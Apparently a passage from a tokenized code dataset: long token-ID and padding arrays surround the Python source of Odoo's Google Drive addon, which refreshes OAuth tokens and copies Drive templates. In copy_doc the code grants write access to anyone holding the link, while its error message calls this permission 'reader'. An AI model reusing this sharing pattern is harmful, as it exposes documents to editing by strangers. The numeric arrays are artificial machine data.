2441, 12, 291, 423, 19737, 9, 339, 768, 1829, 272, 347, 536, 8, 277, 304, 267, 408, 1767, 314, 536, 402, 314, 8778, 12, 340, 1263, 1041, 267, 372, 291, 423, 354, 339, 768, 1829, 272, 347, 365, 63, 265, 8, 277, 304, 267, 408, 1767, 2549, 340, 314, 3366, 8778, 365, 641, 1041, 267, 372, 291, 423, 929, 339, 5316, 347, 5316, 63, 873, 8, 277, 304, 267, 408, 15310, 8839, 1174, 1041, 267, 291, 423, 929, 275, 291, 423, 527, 25327, 14, 6123, 63, 21566, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
avoinsystems/odoo
addons/google_drive/google_drive.py
98
14693
############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2012 OpenERP SA (<http://www.openerp.com>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import logging from openerp import SUPERUSER_ID from openerp.addons.google_account import TIMEOUT from openerp.osv import fields, osv from openerp.tools.translate import _ from openerp.tools.safe_eval import safe_eval as eval import werkzeug.urls import urllib2 import json import re import openerp _logger = logging.getLogger(__name__) class config(osv.Model): _name = 'google.drive.config' _description = "Google Drive templates config" def get_google_drive_url(self, cr, uid, config_id, res_id, template_id, context=None): config = self.browse(cr, SUPERUSER_ID, config_id, context=context) model = config.model_id filter_name = config.filter_id and config.filter_id.name or False record = self.pool.get(model.model).read(cr, uid, [res_id], context=context)[0] record.update({'model': model.name, 'filter': filter_name}) name_gdocs = config.name_template try: name_gdocs = name_gdocs % record except: raise osv.except_osv(_('Key Error!'), _("At least one key cannot be found in your Google Drive name pattern")) attach_pool = self.pool.get("ir.attachment") attach_ids = attach_pool.search(cr, uid, [('res_model', '=', model.model), ('name', '=', name_gdocs), ('res_id', '=', res_id)]) url = False if attach_ids: attachment = attach_pool.browse(cr, uid, attach_ids[0], context) url = attachment.url else: url = self.copy_doc(cr, uid, res_id, template_id, name_gdocs, model.model, context).get('url') return url def get_access_token(self, cr, uid, scope=None, context=None): ir_config = self.pool['ir.config_parameter'] google_drive_refresh_token = ir_config.get_param(cr, SUPERUSER_ID, 'google_drive_refresh_token') user_is_admin = self.pool['res.users'].has_group(cr, uid, 'base.group_erp_manager') if not google_drive_refresh_token: if user_is_admin: model, action_id = self.pool['ir.model.data'].get_object_reference(cr, uid, 'base_setup', 'action_general_configuration') msg = _("You haven't configured 'Authorization Code' generated from google, Please generate and configure it .") raise openerp.exceptions.RedirectWarning(msg, action_id, _('Go to the configuration panel')) else: raise osv.except_osv(_('Error!'), _("Google Drive is not yet configured. Please contact your administrator.")) google_drive_client_id = ir_config.get_param(cr, SUPERUSER_ID, 'google_drive_client_id') google_drive_client_secret = ir_config.get_param(cr, SUPERUSER_ID, 'google_drive_client_secret') #For Getting New Access Token With help of old Refresh Token data = werkzeug.url_encode(dict(client_id=google_drive_client_id, refresh_token=google_drive_refresh_token, client_secret=google_drive_client_secret, grant_type="refresh_token", scope=scope or 'https://www.googleapis.com/auth/drive')) headers = {"Content-type": "application/x-www-form-urlencoded"} try: req = urllib2.Request('https://accounts.google.com/o/oauth2/token', data, headers) content = urllib2.urlopen(req, timeout=TIMEOUT).read() except urllib2.HTTPError: if user_is_admin: model, action_id = self.pool['ir.model.data'].get_object_reference(cr, uid, 'base_setup', 'action_general_configuration') msg = _("Something went wrong during the token generation. Please request again an authorization code .") raise openerp.exceptions.RedirectWarning(msg, action_id, _('Go to the configuration panel')) else: raise osv.except_osv(_('Error!'), _("Google Drive is not yet configured. Please contact your administrator.")) content = json.loads(content) return content.get('access_token') def copy_doc(self, cr, uid, res_id, template_id, name_gdocs, res_model, context=None): ir_config = self.pool['ir.config_parameter'] google_web_base_url = ir_config.get_param(cr, SUPERUSER_ID, 'web.base.url') access_token = self.get_access_token(cr, uid, context=context) # Copy template in to drive with help of new access token request_url = "https://www.googleapis.com/drive/v2/files/%s?fields=parents/id&access_token=%s" % (template_id, access_token) headers = {"Content-type": "application/x-www-form-urlencoded"} try: req = urllib2.Request(request_url, None, headers) parents = urllib2.urlopen(req, timeout=TIMEOUT).read() except urllib2.HTTPError: raise osv.except_osv(_('Warning!'), _("The Google Template cannot be found. Maybe it has been deleted.")) parents_dict = json.loads(parents) record_url = "Click on link to open Record in Odoo\n %s/?db=%s#id=%s&model=%s" % (google_web_base_url, cr.dbname, res_id, res_model) data = {"title": name_gdocs, "description": record_url, "parents": parents_dict['parents']} request_url = "https://www.googleapis.com/drive/v2/files/%s/copy?access_token=%s" % (template_id, access_token) headers = {'Content-type': 'application/json', 'Accept': 'text/plain'} data_json = json.dumps(data) # resp, content = Http().request(request_url, "POST", data_json, headers) req = urllib2.Request(request_url, data_json, headers) content = urllib2.urlopen(req, timeout=TIMEOUT).read() content = json.loads(content) res = {} if content.get('alternateLink'): attach_pool = self.pool.get("ir.attachment") attach_vals = {'res_model': res_model, 'name': name_gdocs, 'res_id': res_id, 'type': 'url', 'url': content['alternateLink']} res['id'] = attach_pool.create(cr, uid, attach_vals) # Commit in order to attach the document to the current object instance, even if the permissions has not been written. cr.commit() res['url'] = content['alternateLink'] key = self._get_key_from_url(res['url']) request_url = "https://www.googleapis.com/drive/v2/files/%s/permissions?emailMessage=This+is+a+drive+file+created+by+Odoo&sendNotificationEmails=false&access_token=%s" % (key, access_token) data = {'role': 'writer', 'type': 'anyone', 'value': '', 'withLink': True} try: req = urllib2.Request(request_url, json.dumps(data), headers) urllib2.urlopen(req, timeout=TIMEOUT) except urllib2.HTTPError: raise self.pool.get('res.config.settings').get_config_warning(cr, _("The permission 'reader' for 'anyone with the link' has not been written on the document"), context=context) user = self.pool['res.users'].browse(cr, uid, uid, context=context) if user.email: data = {'role': 'writer', 'type': 'user', 'value': user.email} try: req = urllib2.Request(request_url, json.dumps(data), headers) urllib2.urlopen(req, timeout=TIMEOUT) except urllib2.HTTPError: pass return res def get_google_drive_config(self, cr, uid, res_model, res_id, context=None): ''' Function called by the js, when no google doc are yet associated with a record, with the aim to create one. It will first seek for a google.docs.config associated with the model `res_model` to find out what's the template of google doc to copy (this is usefull if you want to start with a non-empty document, a type or a name different than the default values). If no config is associated with the `res_model`, then a blank text document with a default name is created. :param res_model: the object for which the google doc is created :param ids: the list of ids of the objects for which the google doc is created. This list is supposed to have a length of 1 element only (batch processing is not supported in the code, though nothing really prevent it) :return: the config id and config name ''' if not res_id: raise osv.except_osv(_('Google Drive Error!'), _("Creating google drive may only be done by one at a time.")) # check if a model is configured with a template config_ids = self.search(cr, uid, [('model_id', '=', res_model)], context=context) configs = [] for config in self.browse(cr, uid, config_ids, context=context): if config.filter_id: if (config.filter_id.user_id and config.filter_id.user_id.id != uid): #Private continue domain = [('id', 'in', [res_id])] + eval(config.filter_id.domain) local_context = context and context.copy() or {} local_context.update(eval(config.filter_id.context)) google_doc_configs = self.pool.get(config.filter_id.model_id).search(cr, uid, domain, context=local_context) if google_doc_configs: configs.append({'id': config.id, 'name': config.name}) else: configs.append({'id': config.id, 'name': config.name}) return configs def _get_key_from_url(self, url): mo = re.search("(key=|/d/)([A-Za-z0-9-_]+)", url) if mo: return mo.group(2) return None def _resource_get(self, cr, uid, ids, name, arg, context=None): result = {} for data in self.browse(cr, uid, ids, context): mo = self._get_key_from_url(data.google_drive_template_url) if mo: result[data.id] = mo else: raise osv.except_osv(_('Incorrect URL!'), _("Please enter a valid Google Document URL.")) return result def _client_id_get(self, cr, uid, ids, name, arg, context=None): result = {} client_id = self.pool['ir.config_parameter'].get_param(cr, SUPERUSER_ID, 'google_drive_client_id') for config_id in ids: result[config_id] = client_id return result _columns = { 'name': fields.char('Template Name', required=True), 'model_id': fields.many2one('ir.model', 'Model', ondelete='set null', required=True), 'model': fields.related('model_id', 'model', type='char', string='Model', readonly=True), 'filter_id': fields.many2one('ir.filters', 'Filter', domain="[('model_id', '=', model)]"), 'google_drive_template_url': fields.char('Template URL', required=True, size=1024), 'google_drive_resource_id': fields.function(_resource_get, type="char", string='Resource Id'), 'google_drive_client_id': fields.function(_client_id_get, type="char", string='Google Client '), 'name_template': fields.char('Google Drive Name Pattern', help='Choose how the new google drive will be named, on google side. Eg. gdoc_%(field_name)s', required=True), 'active': fields.boolean('Active'), } def onchange_model_id(self, cr, uid, ids, model_id, context=None): res = {} if model_id: model = self.pool['ir.model'].browse(cr, uid, model_id, context=context) res['value'] = {'model': model.model} else: res['value'] = {'filter_id': False, 'model': False} return res _defaults = { 'name_template': 'Document %(name)s', 'active': True, } def _check_model_id(self, cr, uid, ids, context=None): config_id = self.browse(cr, uid, ids[0], context=context) if config_id.filter_id and config_id.model_id.model != config_id.filter_id.model_id: return False return True _constraints = [ (_check_model_id, 'Model of selected filter is not matching with model of current template.', ['model_id', 'filter_id']), ] def get_google_scope(self): return 'https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.file' class base_config_settings(osv.TransientModel): _inherit = "base.config.settings" _columns = { 'google_drive_authorization_code': fields.char('Authorization Code'), 'google_drive_uri': fields.char('URI', readonly=True, help="The URL to generate the authorization code from Google"), } _defaults = { 'google_drive_uri': lambda s, cr, uid, c: s.pool['google.service']._get_google_token_uri(cr, uid, 'drive', scope=s.pool['google.drive.config'].get_google_scope(), context=c), 'google_drive_authorization_code': lambda s, cr, uid, c: s.pool['ir.config_parameter'].get_param(cr, SUPERUSER_ID, 'google_drive_authorization_code', context=c), } def set_google_authorization_code(self, cr, uid, ids, context=None): ir_config_param = self.pool['ir.config_parameter'] config = self.browse(cr, uid, ids[0], context) auth_code = config.google_drive_authorization_code if auth_code and auth_code != ir_config_param.get_param(cr, uid, 'google_drive_authorization_code', context=context): refresh_token = self.pool['google.service'].generate_refresh_token(cr, uid, 'drive', config.google_drive_authorization_code, context=context) ir_config_param.set_param(cr, uid, 'google_drive_authorization_code', auth_code, groups=['base.group_system']) ir_config_param.set_param(cr, uid, 'google_drive_refresh_token', refresh_token, groups=['base.group_system'])
agpl-3.0
[ 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 7409, 7653, 13950, 8642, 1014, 921, 1544, 14, 11267, 14, 957, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 646, 2050, 199, 199, 504, 5166, 492, 12824, 63, 998, 199, 504, 5166, 14, 10788, 14, 3098, 63, 2048, 492, 29998, 199, 504, 5166, 14, 4795, 492, 1504, 12, 9506, 199, 504, 5166, 14, 2537, 14, 5275, 492, 485, 199, 504, 5166, 14, 2537, 14, 3489, 63, 2579, 492, 5048, 63, 2579, 465, 3468, 199, 199, 646, 10380, 14, 3603, 199, 646, 4011, 18, 199, 646, 2022, 199, 646, 295, 199, 646, 5166, 199, 199, 63, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 1101, 8, 4795, 14, 1685, 304, 272, 485, 354, 275, 283, 3098, 14, 9541, 14, 888, 7, 272, 485, 1802, 275, 298, 13266, 577, 6053, 7009, 1101, 2, 339, 347, 664, 63, 3098, 63, 9541, 63, 633, 8, 277, 12, 2467, 12, 1747, 12, 1101, 63, 344, 12, 522, 63, 344, 12, 1978, 63, 344, 12, 1067, 29, 403, 304, 267, 1101, 275, 291, 14, 4570, 8, 1556, 12, 12824, 63, 998, 12, 1101, 63, 344, 12, 1067, 29, 1100, 9, 267, 1402, 275, 1101, 14, 1238, 63, 344, 267, 2457, 63, 354, 275, 1101, 14, 1541, 63, 344, 436, 1101, 14, 1541, 63, 344, 14, 354, 503, 756, 267, 2777, 275, 291, 14, 2293, 14, 362, 8, 1238, 14, 1238, 680, 739, 8, 1556, 12, 1747, 12, 359, 470, 63, 344, 467, 1067, 29, 1100, 2788, 16, 61, 267, 2777, 14, 873, 3252, 1238, 356, 1402, 14, 354, 12, 283, 1541, 356, 2457, 63, 354, 1552, 267, 536, 63, 71, 4757, 275, 1101, 14, 354, 63, 1160, 267, 862, 26, 288, 536, 63, 71, 4757, 275, 536, 63, 71, 4757, 450, 2777, 267, 871, 26, 288, 746, 9506, 14, 2590, 63, 4795, 6723, 1197, 4520, 15659, 3824, 1271, 5210, 1373, 790, 3913, 506, 1911, 315, 2195, 4475, 577, 6053, 536, 3851, 2237, 398, 6554, 63, 2293, 275, 291, 14, 2293, 14, 362, 480, 723, 14, 8905, 531, 267, 6554, 63, 1580, 275, 6554, 63, 2293, 14, 1733, 8, 1556, 12, 1747, 12, 4274, 470, 63, 1238, 297, 6291, 1402, 14, 1238, 395, 661, 354, 297, 6291, 536, 63, 71, 4757, 395, 661, 470, 63, 344, 297, 6291, 522, 63, 344, 3948, 267, 1166, 275, 756, 267, 340, 6554, 63, 1580, 26, 288, 12193, 275, 6554, 63, 2293, 14, 4570, 8, 1556, 12, 1747, 12, 6554, 63, 1580, 59, 16, 467, 1067, 9, 288, 1166, 275, 12193, 14, 633, 267, 587, 26, 288, 1166, 275, 291, 14, 1574, 63, 1301, 8, 1556, 12, 1747, 12, 522, 63, 344, 12, 1978, 63, 344, 12, 536, 63, 71, 4757, 12, 1402, 14, 1238, 12, 1067, 680, 362, 360, 633, 358, 267, 372, 1166, 339, 347, 664, 63, 2732, 63, 1418, 8, 277, 12, 2467, 12, 1747, 12, 4194, 29, 403, 12, 1067, 29, 403, 304, 267, 8190, 63, 888, 275, 291, 14, 2293, 459, 723, 14, 888, 63, 5329, 418, 267, 6233, 63, 9541, 63, 6635, 63, 1418, 275, 8190, 63, 888, 14, 362, 63, 635, 8, 1556, 12, 12824, 63, 998, 12, 283, 3098, 63, 9541, 63, 6635, 63, 1418, 358, 267, 922, 63, 374, 63, 2113, 275, 291, 14, 2293, 459, 470, 14, 3707, 2278, 1989, 63, 923, 8, 1556, 12, 1747, 12, 283, 1095, 14, 923, 63, 281, 80, 63, 2609, 358, 267, 340, 440, 6233, 63, 9541, 63, 6635, 63, 1418, 26, 288, 340, 922, 63, 374, 63, 2113, 26, 355, 1402, 12, 1595, 63, 344, 275, 291, 14, 2293, 459, 723, 14, 1238, 14, 576, 2278, 362, 63, 785, 63, 4443, 8, 1556, 12, 1747, 12, 283, 1095, 63, 2758, 297, 283, 1287, 63, 10706, 63, 4758, 358, 355, 1499, 275, 3824, 5556, 19051, 1133, 7526, 283, 11626, 5495, 7, 4046, 687, 6233, 12, 7754, 3550, 436, 7908, 652, 1275, 531, 355, 746, 5166, 14, 3924, 14, 7071, 3849, 8, 1328, 12, 1595, 63, 344, 12, 4018, 7250, 370, 314, 2897, 12748, 1333, 288, 587, 26, 355, 746, 9506, 14, 2590, 63, 4795, 6723, 547, 15659, 3824, 13266, 577, 6053, 365, 440, 5966, 7526, 14, 7754, 8966, 2195, 31056, 13853, 267, 6233, 63, 9541, 63, 1258, 63, 344, 275, 8190, 63, 888, 14, 362, 63, 635, 8, 1556, 12, 12824, 63, 998, 12, 283, 3098, 63, 9541, 63, 1258, 63, 344, 358, 267, 6233, 63, 9541, 63, 1258, 63, 4731, 275, 8190, 63, 888, 14, 362, 63, 635, 8, 1556, 12, 12824, 63, 998, 12, 283, 3098, 63, 9541, 63, 1258, 63, 4731, 358, 267, 327, 1858, 20703, 7053, 11003, 8767, 8777, 1720, 402, 2269, 30345, 8767, 398, 666, 275, 10380, 14, 633, 63, 2143, 8, 807, 8, 1258, 63, 344, 29, 3098, 63, 9541, 63, 1258, 63, 344, 12, 3660, 9236, 63, 1418, 29, 3098, 63, 9541, 63, 6635, 63, 1418, 12, 3660, 1890, 63, 4731, 29, 3098, 63, 9541, 63, 1258, 63, 4731, 12, 3660, 16085, 63, 466, 628, 6635, 63, 1418, 401, 3660, 4194, 29, 2645, 503, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 9541 ]
[ 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 7409, 7653, 13950, 8642, 1014, 921, 1544, 14, 11267, 14, 957, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 646, 2050, 199, 199, 504, 5166, 492, 12824, 63, 998, 199, 504, 5166, 14, 10788, 14, 3098, 63, 2048, 492, 29998, 199, 504, 5166, 14, 4795, 492, 1504, 12, 9506, 199, 504, 5166, 14, 2537, 14, 5275, 492, 485, 199, 504, 5166, 14, 2537, 14, 3489, 63, 2579, 492, 5048, 63, 2579, 465, 3468, 199, 199, 646, 10380, 14, 3603, 199, 646, 4011, 18, 199, 646, 2022, 199, 646, 295, 199, 646, 5166, 199, 199, 63, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 1101, 8, 4795, 14, 1685, 304, 272, 485, 354, 275, 283, 3098, 14, 9541, 14, 888, 7, 272, 485, 1802, 275, 298, 13266, 577, 6053, 7009, 1101, 2, 339, 347, 664, 63, 3098, 63, 9541, 63, 633, 8, 277, 12, 2467, 12, 1747, 12, 1101, 63, 344, 12, 522, 63, 344, 12, 1978, 63, 344, 12, 1067, 29, 403, 304, 267, 1101, 275, 291, 14, 4570, 8, 1556, 12, 12824, 63, 998, 12, 1101, 63, 344, 12, 1067, 29, 1100, 9, 267, 1402, 275, 1101, 14, 1238, 63, 344, 267, 2457, 63, 354, 275, 1101, 14, 1541, 63, 344, 436, 1101, 14, 1541, 63, 344, 14, 354, 503, 756, 267, 2777, 275, 291, 14, 2293, 14, 362, 8, 1238, 14, 1238, 680, 739, 8, 1556, 12, 1747, 12, 359, 470, 63, 344, 467, 1067, 29, 1100, 2788, 16, 61, 267, 2777, 14, 873, 3252, 1238, 356, 1402, 14, 354, 12, 283, 1541, 356, 2457, 63, 354, 1552, 267, 536, 63, 71, 4757, 275, 1101, 14, 354, 63, 1160, 267, 862, 26, 288, 536, 63, 71, 4757, 275, 536, 63, 71, 4757, 450, 2777, 267, 871, 26, 288, 746, 9506, 14, 2590, 63, 4795, 6723, 1197, 4520, 15659, 3824, 1271, 5210, 1373, 790, 3913, 506, 1911, 315, 2195, 4475, 577, 6053, 536, 3851, 2237, 398, 6554, 63, 2293, 275, 291, 14, 2293, 14, 362, 480, 723, 14, 8905, 531, 267, 6554, 63, 1580, 275, 6554, 63, 2293, 14, 1733, 8, 1556, 12, 1747, 12, 4274, 470, 63, 1238, 297, 6291, 1402, 14, 1238, 395, 661, 354, 297, 6291, 536, 63, 71, 4757, 395, 661, 470, 63, 344, 297, 6291, 522, 63, 344, 3948, 267, 1166, 275, 756, 267, 340, 6554, 63, 1580, 26, 288, 12193, 275, 6554, 63, 2293, 14, 4570, 8, 1556, 12, 1747, 12, 6554, 63, 1580, 59, 16, 467, 1067, 9, 288, 1166, 275, 12193, 14, 633, 267, 587, 26, 288, 1166, 275, 291, 14, 1574, 63, 1301, 8, 1556, 12, 1747, 12, 522, 63, 344, 12, 1978, 63, 344, 12, 536, 63, 71, 4757, 12, 1402, 14, 1238, 12, 1067, 680, 362, 360, 633, 358, 267, 372, 1166, 339, 347, 664, 63, 2732, 63, 1418, 8, 277, 12, 2467, 12, 1747, 12, 4194, 29, 403, 12, 1067, 29, 403, 304, 267, 8190, 63, 888, 275, 291, 14, 2293, 459, 723, 14, 888, 63, 5329, 418, 267, 6233, 63, 9541, 63, 6635, 63, 1418, 275, 8190, 63, 888, 14, 362, 63, 635, 8, 1556, 12, 12824, 63, 998, 12, 283, 3098, 63, 9541, 63, 6635, 63, 1418, 358, 267, 922, 63, 374, 63, 2113, 275, 291, 14, 2293, 459, 470, 14, 3707, 2278, 1989, 63, 923, 8, 1556, 12, 1747, 12, 283, 1095, 14, 923, 63, 281, 80, 63, 2609, 358, 267, 340, 440, 6233, 63, 9541, 63, 6635, 63, 1418, 26, 288, 340, 922, 63, 374, 63, 2113, 26, 355, 1402, 12, 1595, 63, 344, 275, 291, 14, 2293, 459, 723, 14, 1238, 14, 576, 2278, 362, 63, 785, 63, 4443, 8, 1556, 12, 1747, 12, 283, 1095, 63, 2758, 297, 283, 1287, 63, 10706, 63, 4758, 358, 355, 1499, 275, 3824, 5556, 19051, 1133, 7526, 283, 11626, 5495, 7, 4046, 687, 6233, 12, 7754, 3550, 436, 7908, 652, 1275, 531, 355, 746, 5166, 14, 3924, 14, 7071, 3849, 8, 1328, 12, 1595, 63, 344, 12, 4018, 7250, 370, 314, 2897, 12748, 1333, 288, 587, 26, 355, 746, 9506, 14, 2590, 63, 4795, 6723, 547, 15659, 3824, 13266, 577, 6053, 365, 440, 5966, 7526, 14, 7754, 8966, 2195, 31056, 13853, 267, 6233, 63, 9541, 63, 1258, 63, 344, 275, 8190, 63, 888, 14, 362, 63, 635, 8, 1556, 12, 12824, 63, 998, 12, 283, 3098, 63, 9541, 63, 1258, 63, 344, 358, 267, 6233, 63, 9541, 63, 1258, 63, 4731, 275, 8190, 63, 888, 14, 362, 63, 635, 8, 1556, 12, 12824, 63, 998, 12, 283, 3098, 63, 9541, 63, 1258, 63, 4731, 358, 267, 327, 1858, 20703, 7053, 11003, 8767, 8777, 1720, 402, 2269, 30345, 8767, 398, 666, 275, 10380, 14, 633, 63, 2143, 8, 807, 8, 1258, 63, 344, 29, 3098, 63, 9541, 63, 1258, 63, 344, 12, 3660, 9236, 63, 1418, 29, 3098, 63, 9541, 63, 6635, 63, 1418, 12, 3660, 1890, 63, 4731, 29, 3098, 63, 9541, 63, 1258, 63, 4731, 12, 3660, 16085, 63, 466, 628, 6635, 63, 1418, 401, 3660, 4194, 29, 2645, 503, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 9541, 0 ]
